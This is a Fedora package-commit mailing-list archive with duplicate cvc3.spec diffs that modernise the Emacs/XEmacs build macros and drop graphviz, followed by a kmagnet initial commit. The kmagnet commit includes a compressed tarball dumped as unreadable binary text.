 This package contains the source Elisp files for the CVC3 mode for Emacs.  You
@@ -126,6 +117,7 @@ Group:          Applications/Engineering
 Summary:        Compiled XEmacs mode for CVC3
 Requires:       xemacs(bin) >= %{xemacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs
 This package contains the byte compiled CVC3 mode for XEmacs.
@@ -134,6 +126,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 XEmacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs-el
 This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
@@ -169,17 +162,17 @@ mkdir -p %{buildroot}%{_libdir}/%{name}
 %makeinstall javadir=%{buildroot}%{_libdir}/%{name}
 
 # Byte compile the CVC3 mode file for Emacs
-mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
-pushd %{buildroot}%{_datadir}/emacs/site-lisp
-emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_emacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_emacs_sitelispdir}
+pushd %{buildroot}%{_emacs_sitelispdir}
+%{_emacs_bytecompile} cvc-mode.el
 popd
 
 # Byte compile the CVC3 mode file for XEmacs
-mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_xemacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_xemacs_sitelispdir}
+pushd %{buildroot}%{_xemacs_sitelispdir}
+%{_xemacs_bytecompile} cvc-mode.el
 popd
 
 # Add missing executable bits to the shared libraries
@@ -188,12 +181,6 @@ chmod a+x %{buildroot}%{_libdir}/*.so.*
 # Move the JNI libraries to the right place
 mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}
 
-# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
-badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
-if [ -f "$badfile" -a ! -s "$badfile" ] ; then
-  rm -f "$badfile"
-fi
-
 %check
 LD_LIBRARY_PATH=`pwd`/lib make regressonly4
 
@@ -225,21 +212,25 @@ rm -rf %{buildroot}
 
 %files emacs
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.elc
+%{_emacs_sitelispdir}/*.elc
 
 %files emacs-el
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.el
+%{_emacs_sitelispdir}/*.el
 
 %files xemacs
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.elc
+%{_xemacs_sitelispdir}/*.elc
 
 %files xemacs-el
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.el
+%{_xemacs_sitelispdir}/*.el
 
 %changelog
+* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
+- Drop the graphviz BR to block generation of huge class graphs
+- Use the new (X)Emacs RPM macros to simplify the spec file
+
 * Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
 - Fix problems found on review
 - Enable the Java interface



From jjames at fedoraproject.org  Tue Oct 27 21:43:22 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:43:22 +0000 (UTC)
Subject: rpms/cvc3/F-12 cvc3.spec,1.1,1.2
Message-ID: <20091027214322.ED60711C029B@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/F-12

Modified Files:
	cvc3.spec 
Log Message:
* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
- Drop the graphviz BR to block generation of huge class graphs
- Use the new (X)Emacs RPM macros to simplify the spec file



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-12/cvc3.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvc3.spec	22 Oct 2009 16:27:54 -0000	1.1
+++ cvc3.spec	27 Oct 2009 21:43:20 -0000	1.2
@@ -1,27 +1,14 @@
-# If the emacs-el package has installed a pkgconfig file, use that to determine
-# install locations and Emacs version at build time, otherwise set defaults.
-%if %($(pkg-config emacs) ; echo $?)
-%define emacs_version 22.1
-%define emacs_lispdir %{_datadir}/emacs/site-lisp
-%else
-%define emacs_version %(pkg-config emacs --modversion)
-%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
-%endif
-
 # If the xemacs-devel package has installed a pkgconfig file, use that to
-# determine install locations and Emacs version at build time, otherwise set
-# defaults.
+# determine version at build time, otherwise set a default.
 %if %($(pkg-config xemacs) ; echo $?)
 %define xemacs_version 21.5
-%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
 %else
 %define xemacs_version %(pkg-config xemacs --modversion)
-%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
 %endif
 
 Name:           cvc3
 Version:        2.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Validity checker of many-sorted first-order formulas with theories
 
 Group:          Applications/Engineering
@@ -42,7 +29,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch3:         cvc3-java.patch
 
 BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
-BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
+BuildRequires:  gmp-devel, java-devel, jpackage-utils, perl, time
 BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
 Requires:       gnu-free-sans-fonts
 
@@ -82,6 +69,7 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.
@@ -90,6 +78,7 @@ Header files need to develop with CVC3.
 Group:          Documentation
 Summary:        API documentation for CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description doc
 API documentation for CVC3.
@@ -105,8 +94,9 @@ Java interface for CVC3.
 %package emacs
 Group:          Applications/Engineering
 Summary:        Compiled Emacs mode for CVC3
-Requires:       emacs(bin) >= %{emacs_version}
+Requires:       emacs(bin) >= %{_emacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs
 This package contains the byte compiled CVC3 mode for Emacs.
@@ -115,6 +105,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 Emacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs-el
 This package contains the source Elisp files for the CVC3 mode for Emacs.  You
@@ -126,6 +117,7 @@ Group:          Applications/Engineering
 Summary:        Compiled XEmacs mode for CVC3
 Requires:       xemacs(bin) >= %{xemacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs
 This package contains the byte compiled CVC3 mode for XEmacs.
@@ -134,6 +126,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 XEmacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs-el
 This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
@@ -169,17 +162,17 @@ mkdir -p %{buildroot}%{_libdir}/%{name}
 %makeinstall javadir=%{buildroot}%{_libdir}/%{name}
 
 # Byte compile the CVC3 mode file for Emacs
-mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
-pushd %{buildroot}%{_datadir}/emacs/site-lisp
-emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_emacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_emacs_sitelispdir}
+pushd %{buildroot}%{_emacs_sitelispdir}
+%{_emacs_bytecompile} cvc-mode.el
 popd
 
 # Byte compile the CVC3 mode file for XEmacs
-mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_xemacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_xemacs_sitelispdir}
+pushd %{buildroot}%{_xemacs_sitelispdir}
+%{_xemacs_bytecompile} cvc-mode.el
 popd
 
 # Add missing executable bits to the shared libraries
@@ -188,12 +181,6 @@ chmod a+x %{buildroot}%{_libdir}/*.so.*
 # Move the JNI libraries to the right place
 mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}
 
-# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
-badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
-if [ -f "$badfile" -a ! -s "$badfile" ] ; then
-  rm -f "$badfile"
-fi
-
 %check
 LD_LIBRARY_PATH=`pwd`/lib make regressonly4
 
@@ -225,21 +212,25 @@ rm -rf %{buildroot}
 
 %files emacs
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.elc
+%{_emacs_sitelispdir}/*.elc
 
 %files emacs-el
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.el
+%{_emacs_sitelispdir}/*.el
 
 %files xemacs
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.elc
+%{_xemacs_sitelispdir}/*.elc
 
 %files xemacs-el
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.el
+%{_xemacs_sitelispdir}/*.el
 
 %changelog
+* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
+- Drop the graphviz BR to block generation of huge class graphs
+- Use the new (X)Emacs RPM macros to simplify the spec file
+
 * Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
 - Fix problems found on review
 - Enable the Java interface



From jjames at fedoraproject.org  Tue Oct 27 21:43:22 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:43:22 +0000 (UTC)
Subject: rpms/cvc3/devel cvc3.spec,1.1,1.2
Message-ID: <20091027214322.E8E3D11C00EF@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/devel

Modified Files:
	cvc3.spec 
Log Message:
* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
- Drop the graphviz BR to block generation of huge class graphs
- Use the new (X)Emacs RPM macros to simplify the spec file



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/devel/cvc3.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvc3.spec	22 Oct 2009 16:25:39 -0000	1.1
+++ cvc3.spec	27 Oct 2009 21:43:21 -0000	1.2
@@ -1,27 +1,14 @@
-# If the emacs-el package has installed a pkgconfig file, use that to determine
-# install locations and Emacs version at build time, otherwise set defaults.
-%if %($(pkg-config emacs) ; echo $?)
-%define emacs_version 22.1
-%define emacs_lispdir %{_datadir}/emacs/site-lisp
-%else
-%define emacs_version %(pkg-config emacs --modversion)
-%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
-%endif
-
 # If the xemacs-devel package has installed a pkgconfig file, use that to
-# determine install locations and Emacs version at build time, otherwise set
-# defaults.
+# determine version at build time, otherwise set a default.
 %if %($(pkg-config xemacs) ; echo $?)
 %define xemacs_version 21.5
-%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
 %else
 %define xemacs_version %(pkg-config xemacs --modversion)
-%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
 %endif
 
 Name:           cvc3
 Version:        2.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Validity checker of many-sorted first-order formulas with theories
 
 Group:          Applications/Engineering
@@ -42,7 +29,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch3:         cvc3-java.patch
 
 BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
-BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
+BuildRequires:  gmp-devel, java-devel, jpackage-utils, perl, time
 BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
 Requires:       gnu-free-sans-fonts
 
@@ -82,6 +69,7 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.
@@ -90,6 +78,7 @@ Header files need to develop with CVC3.
 Group:          Documentation
 Summary:        API documentation for CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description doc
 API documentation for CVC3.
@@ -105,8 +94,9 @@ Java interface for CVC3.
 %package emacs
 Group:          Applications/Engineering
 Summary:        Compiled Emacs mode for CVC3
-Requires:       emacs(bin) >= %{emacs_version}
+Requires:       emacs(bin) >= %{_emacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs
 This package contains the byte compiled CVC3 mode for Emacs.
@@ -115,6 +105,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 Emacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs-el
 This package contains the source Elisp files for the CVC3 mode for Emacs.  You
@@ -126,6 +117,7 @@ Group:          Applications/Engineering
 Summary:        Compiled XEmacs mode for CVC3
 Requires:       xemacs(bin) >= %{xemacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs
 This package contains the byte compiled CVC3 mode for XEmacs.
@@ -134,6 +126,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 XEmacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description xemacs-el
 This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
@@ -169,17 +162,17 @@ mkdir -p %{buildroot}%{_libdir}/%{name}
 %makeinstall javadir=%{buildroot}%{_libdir}/%{name}
 
 # Byte compile the CVC3 mode file for Emacs
-mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
-pushd %{buildroot}%{_datadir}/emacs/site-lisp
-emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_emacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_emacs_sitelispdir}
+pushd %{buildroot}%{_emacs_sitelispdir}
+%{_emacs_bytecompile} cvc-mode.el
 popd
 
 # Byte compile the CVC3 mode file for XEmacs
-mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
-xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
+mkdir -p %{buildroot}%{_xemacs_sitelispdir}
+cp -p emacs/cvc-mode.el %{buildroot}%{_xemacs_sitelispdir}
+pushd %{buildroot}%{_xemacs_sitelispdir}
+%{_xemacs_bytecompile} cvc-mode.el
 popd
 
 # Add missing executable bits to the shared libraries
@@ -188,12 +181,6 @@ chmod a+x %{buildroot}%{_libdir}/*.so.*
 # Move the JNI libraries to the right place
 mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}
 
-# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
-badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
-if [ -f "$badfile" -a ! -s "$badfile" ] ; then
-  rm -f "$badfile"
-fi
-
 %check
 LD_LIBRARY_PATH=`pwd`/lib make regressonly4
 
@@ -225,21 +212,25 @@ rm -rf %{buildroot}
 
 %files emacs
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.elc
+%{_emacs_sitelispdir}/*.elc
 
 %files emacs-el
 %defattr(-,root,root,-)
-%{_datadir}/emacs/site-lisp/*.el
+%{_emacs_sitelispdir}/*.el
 
 %files xemacs
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.elc
+%{_xemacs_sitelispdir}/*.elc
 
 %files xemacs-el
 %defattr(-,root,root,-)
-%{_datadir}/xemacs/site-packages/lisp/*.el
+%{_xemacs_sitelispdir}/*.el
 
 %changelog
+* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
+- Drop the graphviz BR to block generation of huge class graphs
+- Use the new (X)Emacs RPM macros to simplify the spec file
+
 * Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
 - Fix problems found on review
 - Enable the Java interface



From rrix at fedoraproject.org  Tue Oct 27 21:47:46 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 21:47:46 +0000 (UTC)
Subject: rpms/kmagnet/F-12 109111-kmagnet-0.03.tar.bz2, NONE,
	1.1 kmagnet-0.03-5.fc13.src.rpm, NONE,
	1.1 kmagnet-desktop-category.patch, NONE, 1.1 kmagnet.spec, NONE, 1.1
Message-ID: <20091027214746.35FD411C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22774

Added Files:
	109111-kmagnet-0.03.tar.bz2 kmagnet-0.03-5.fc13.src.rpm 
	kmagnet-desktop-category.patch kmagnet.spec 
Log Message:
Initial commit of dist-f12 branch



--- NEW FILE 109111-kmagnet-0.03.tar.bz2 ---
BZh91AY&SY?T"?
?f???=???}?S!P?2?_y???uR?P??
?????@
b?EJ??X???y??????!?]?????
??#??$?/=??I??s?T????z>??????+f
9??dE!"?7?W at K?=w?S?e$??<=

?
?m????5

V???AQ
??
DT?IZ2????B?RT???J?B?T?????T?%??)M?iJ%JRm?"SM
d
3????~?y?g?=Lh=SF54z?c??O(?SOS??z&44?zmB0M??C'????$?D?
=54??i?z5<S??T4???O5#?
????? h

???K??&?j?O???}?@??????g????
????$???#??y?#
????w_
??J=??A??1?u?hl?(??
???9g?2o7?Z)e?3?????????.6??is_n?k[???P
?m??1?x???s?
???x?????@J?V?J7??y??(?zB???l????a???(s???P??NJ?Eg?????^Orr??e,?:?MfCEnm?:???<O???4
A???<E???
G&??ur(1?+>c?L????V???=?G?W?wu ??
B|Vt?N?x????e???_9?^???-f ??z??B-
w?c??<??epp??>
+e?????-??G?m?P???,?k??|@v??(?	?x?~?????????yV?P??
???S??????dE?2 ?s?3?? ?@WwH?"|? 	?g $??}?j?=bi???<?v.???n????l???]W???|)8??b??o???:???
????????J????@?c7??,??CdQKm&j6?lw?c?~L;Y???B?9?9??HJ?a@??]px?s
?o"????i??"???1`???>T?J??3?A?M?W????????h?S???,k?[??<B??x?]????x?I???e??r????????U??t??????e?M??I?U??mG??t?
?}???n[?/?
?x??????2????'I?K2?@.???^3 ???????8}e???Lu???
????Oaa/?????y????-??Y/?? u2P?u???nv?@? ????`~???~??2???(???FW????X?>-?J?k???????qxf'0cp%J?
??Mt??_y???
???)?????r???H?c????`???qq?FV?_~???m??G?k?lIp?2?'tm?+?9.?????>???.?0?$?;?Zz<
?S??q*n'?? ?A?Am5? ]V???&??_?h@???3???g?*?|F?U????@?X??`??A???i?????9?h 0F2g??tR
2???xt??Cog?q??f??_?????g?o??2?w??D???O+r?G???qw???Z4?I8??}??=??a?????g!r?E?"d?4????P7??c??[?,??
?#0????k?No??????^??g?J?????? >??3?.??oU???????????C??z??\u?U????B?????j"=??Dh
?m
??2?????????c
/?????XBh??z@??[J?*$???
YX(T???W:??v???m?^?O?h???Q??V??H??eA?,?j??D&/????-??^???Y????\x4P???@??&H??za??? ??????E??}4@??N??4??H??
??N??p???4(???D??????`?x??????JJ??t?????d???#2&????5aS?3t???f??i??>;^?j?g???Z?:?Q?s??F???s??ht????oW???(r_??c=??-?????p;5??xz?[??DA?~?
?-<????F?PQfR?Ad?/N?g???P9*??H/"?1DE
d
?q^???????????]?E;?Y97??`0???????
R?????	Y&QK(??g
??7?j??C??? ?q?f????f
?z?7?)O??pt?F?[???=?LB???a??f%?4??u?
?k_?cY?R9?L{??`?4?Ao????[????dx~F-qhZ?#;hQ?UB*??*#?n?????:E0???(*?7???,"???q????n??b????5?}?[???z???qX?X
???iR?2(!?l?B?!
???????k,j?6+U19$CyO??????????4??mj???b???P?~K???????`?z?*?;??v???J?x?O{
A?m9????>5?-???OX}?f??uh??????????6?%??i??v????V???? A)}??
??7?,{???%x?????_q?;??}*?r?8se9a>??q????Xt?8?????~????m??TUz?;????l?Z??? ?q???O????T?#?)?P&$?g???a??x???+E 
?
?07y??????G~t?1m?????O???}??m?+?????Q???uek_g???qG{??m???_9?_?{?p
K?s?
??
8?F?Lu??-????~?nu??5??}3???????N???M???????}?"?Qo??D}???
3?T????i?Q?2S?4??b????o?Y?O??\??!??m3D???
$??	???W??%^??5??E???}?w???1?????#G?????'??|?g??%?.?????z^??z????v_s+???????p??E??Ho?j?#9d?c?Sd?kj\??+g??cqX?!?WD??
#T.??????q??mc?v???????F????H??\???????*	?;<????jf????g??????6??|o,?w?o?????B?X???hN???
?dLM??>?t?'??????s?e.?|?<??
?mn??
?R6???o??[z?3??S?gh?????;?????>?V???? O??F?(???5h?X??}???e?5??o?*f??:F?????@??+????
?O???7)Y???p]???N????
NIOR??h
??[U??????{
z&D?????6???O?2V??0???<&3????"7?;??H?H?^?u?>e at H?Tp^?E?G????8?_????f?w?Q?O??w?[?T??B~%fp
d??????y??s?[?E|?o?T??????_<??
?2MN???~??????:}????|p?f??%g?????#x2a??
?.E??O????q??Rd??kAWD????????N}?vh??%@
Q?a???=?)md?^?Z?p????d??htsT?????-z?
?n??5??(?????
?X(_gEr????U'/?
<F??????^?H=YyeU????"??d"???1?
?9?]Z???LL	
B?M???Q???m???_?M64?T?H&?#)55F Ii?l?-?0??;UE??Z??k????b?????&&???~{?]??/???? i?????y??eb62DdeZe~0!y?	-2?e??c?@
g????!???zE#???9???? ?6? ??y??+1??%???x??????A??ZY??C?D??|????*???B??,??(C~?bM??!	???????
d??|J?ZK ?xwto??????/8???VD?uA
O?W?
??ClH.."4?N?io???i?Q&X?????????e?P?8{??iM?n????z
 ?? ???[D;??_??Q???{j?wo,?GQ37J??3??@??%?M3|?s?mR??B??<U?.??:s?,?dt??o[?C????G????W?????+?
X??w?pI{p]??I??iG??jA??<"??y?D?`+???????\
,<L?QGA?_j
?I?|gF????.DK5*?s???8xkM~?????'??b??]??N
m	y??D???F???3\????????
N(?

?*?????J??Dj??	w???F~?????f|?????l????????z???;?s4????B??w?_>M????U+[VO???P??/???:??9???&???Sv????P,p??`??A
P8?:?Vi??>??"??	???|???????d?3?????-e%?V???KQ?1a?mW???X?{??k?g?j&<T??|d??9??`Gxj7?6?!_?????Yw???0%6?J?x4?
Q??c????f??jkBE
PP*?3??z???????,??~.	????????Y7u??????????n?????c?N?????

G\":??j
??s????T???????!??o
?"CM?q????a?&K?up?(^?9J?q??a~?j at K???r ?4??+?????-?JJ?2?n????w??J??wp?`??P?Lb-J?K??g???G????I??w??>?}#?@O0?5????O]p:,??~(?P??y????I???E
??+=xZS0???UQ?	PU???l?Pa??????-{U\?????ZT?2?|?????8,6??7}?6??V??'os
,?y?????ha?k??Jc at 64g!4(?8J??U?hY??l?n&\???m?v??X6?wr?zkU???|Z??|??:????1a???#;6????6@?6S{:?pJ?Lxq_Ko??*???A??????????s7gdZ4?N :?=e?=??)???????:??o?6??^xX??&????<?I?\????`*??????\o??g?]???uv?????C?lx?}b?????!{????T?
B?W?JG_????4

?,??
1!???c?Skh?.?/qz??Wf?}?uK?C???2v?$yM??F?????<p?FJ_[?Vl???VG@?g???
?J?UL????^?D	f???????d<QFcTUI*
iF?Y???r???tU"??{???;??Y?HwU58??p??????Ya{`p9?????nUNEH?"???????Pj9h?Q?/?Z??(??]??U?
^.????[/"8c??u??)n?????u??
????]?? T?.<c??w>?r;%?F???x?n???_!@Z????m??j?X?????Tf?/?????????I?[?P1rA????_???h???^u???n??-?C?+#??1?
??9?
?s???z?D????o
?$?^???Q(?{??P$FE"?-i?F?"?K????q??XZ?=??O??th????f?y???????
?R??0<
? '3?????(
?????????B??J+????"??aUv??S~????{?QxV??+??<???MU[?;^???7?v??9?u?0{?i??*7t???'F9F??|?~E#??n??N????}'$8?5?g???B?8+??P??}?Pd????
???q
????F???????6?0???g???
/Q??Z"XxP?CX[w??{=?????K5?YR??3?Wp?o??(x?CC? 63%Gq?>??b?q????????,-?v
??R???x?A??+w4?b???*???]?(?:?y??	*???
?V?VCB?t??0?z??;?H??n
?????+_u??%H??)
???qCW]!*:????????o?t	Z"?Q???*????q6???????V?;?B(?(??
BiQ??????i?<=b_?8?? GT	ab{5???jc???Z?e???%_x?????-??????
?o???HP!?x?P?r? xI?G
??X]x?T??w?}\????c???M(!dA??m?#?v??O?:?k?d?18L?????z????msz?}M?YQbK
1?+?qk??#?_?CC??oM`i???.?	??a->q?2R)Q?J??'-??P<????????hV???	?????#?????y??[E????6??b?7?)??????G?@R5"Um??a?????#}?????k???Ebx??$r
7?a}B???8?f>
?w?v???Q2??3+????U?&
??[??????D???)FF ?	?a:?N?G?6AE???vp??-?8???F\[Gi????????*???n at X?9!???I?&z?E???]?k?Z7r????
?	??0FGR?e?
Au".??quW???P$O??[!@?fweJ??U?x2??p?,?n??Zq??1?>a??6`TT?7Lq9?oz?~Fe???`????Dp? O2???J?Q??C?]Z^?!?CAh!?2?j?=Q7M??????D*?f??G??`q4N??????W??wm???8pA	??+?Xu?(~???P?r?/?????:?}N????????;T
????y????d~???$gv???G?4w?2l?DX?2????I????K??e???$

p?n??M??/?????7I~?7h????T>??N?@?d????b?)H?'y?;?b?uYZ/?^??????????? ?r????q????=?9?=????l????GDq=!X??!??q??'?5]?__?v?????>pC??????/~0?8?+???N??5???*?'???-^?Xp??:??zPz???|?|???t1??E??Zz?/?\4a???a??;???Y?c?x????@,G????9o???1???k?5????J?J????<???d_
?? $[?Ci
1??7?4!?nv9?oj??{??????5?b/?x?4J`<.??U

7`?#E.P#?]?4v#%]A?3??sJ(cla?{3F?W+?0?j?G?.???N?b???g??X??k?\+J?A?D??
?E????g?v??,??y??+??&%r?x8[MX?tzA???7]&WX?ABo?@Z??U???+??A]??y+???_??????15?,?6?V	 ??8$=??v?S(XJ?RH??????(?????s<??^#?O??4F?R??*????0???M5Py?+6?e?H??T2???1???ot?,?e???7v?EL?????Q`?YG??V1}V?'Q?bF?<?l??Vy2??9????>?????r2AAH???????I??hv8?????7@??k?????k3R?+*?AX?i?}S???????a?(Mm?a?3 at m? N????ma/???4 KSw@??
??????e5??P?i??????d?(j$]??ROdRLz?r#h(????<??x??5??z??EX?|-b?# Gl
e????R?????]??"???k??{?????fV
=?G)?)*???Q?*w??P?Q??!???k?B?????-??fH#CH?l?.-(?C5?[qd???u?D:???"=*j?MeE???h$?h?~?u2??w?,K?????v_?????h?:?bd?5??s??d?#?&^?
???Q)
E+?;?y???J?BBX??2?2A?h????7J?????2^?,c^%Rw??D??97??!HP?K?;?`????????;?G%>????lUr????7??d?
??U?U?o?????J?]???H#
y
-?AK????????8??????u??5????hcC?Bm?u??ZB?j????5
???? ???k>ogX??M?)???'P?%???5zc?S?) c??GV?6?:i?>k???<}n_??=????????"??X?zBg?{S????/???????
????v????6??!?:3?5??$???-}J???????%d??1?)?!t
????????T???szj?Q
8??%??j!?hn?????????/??J~&]21??4?!%3???????_k??????4
:%?e=?j/??Y???`???laX??????2??S$?0?$A!?"}??sL??A???vy?>^???9?g"?%n^? ?A_WJ???_??e:Z`M?????F??Bi?\ Q8??????DT?7}???y???O?k?}??Y????l*??N??A??%?2z?%?z??.??h??;?????a??w?????????LJocF?'??O.=?R(??\???~f???s??/X6? ??A?J$O?@/??I?[??{?q??:?@;????;m??????n?P??m????d?p?6??Y????hu?0?~??C??nt?>?A?????"??????z?0???????N:?+qO???*?|F?c???P??s???;v{?.???af?t:?9?W???zz\NU?l?D
@???~??Ruc??
svq|D???9?????OQ??9??
?
?
??[!?????@??
?;X???G??i??\p?V??/?}i0?u]B0u6????(??"??U?{j?e?WE?Ij9A_?}????e8?????MY???x
??????0??8-?wgi?nw?'??i???7zg?I;?
B?H?|fC?*n?qT?"????YF?l9'IAH/0Y??(???t??O???????l??????????r>s?A??rL????}e?9??A??`b?04???O?????O???T?es?CH8???]??_?$??????????????]????????=j??ew^?e???D@ Ty?2?\;?R????h??Vc???%X???uR?=??j?\VJ':???a??X?E)W4??M???)x?^??`U??$?,()
?j?????9??????t?_??g??j??????????gc??????/r?[y?O??????P???Yd-ME>????o?D????h?e??CzA?5??X????????n]2??X/K?$????y?6?W?Ls????z?
?S???|??7??mA?ln????@`B?_??W?X4?2????D?
??_$?????B?J?q?K??
???x+??5
x???U????U?N3?^2????????o???Q/q?,90R?A
|P???|???a-Tw?i"H\.??m??????? ?????7mS????;/,M?~3L???j??????H?;?m??
??O6@???k7??nV?7???v???R?
??z:???/?W?$
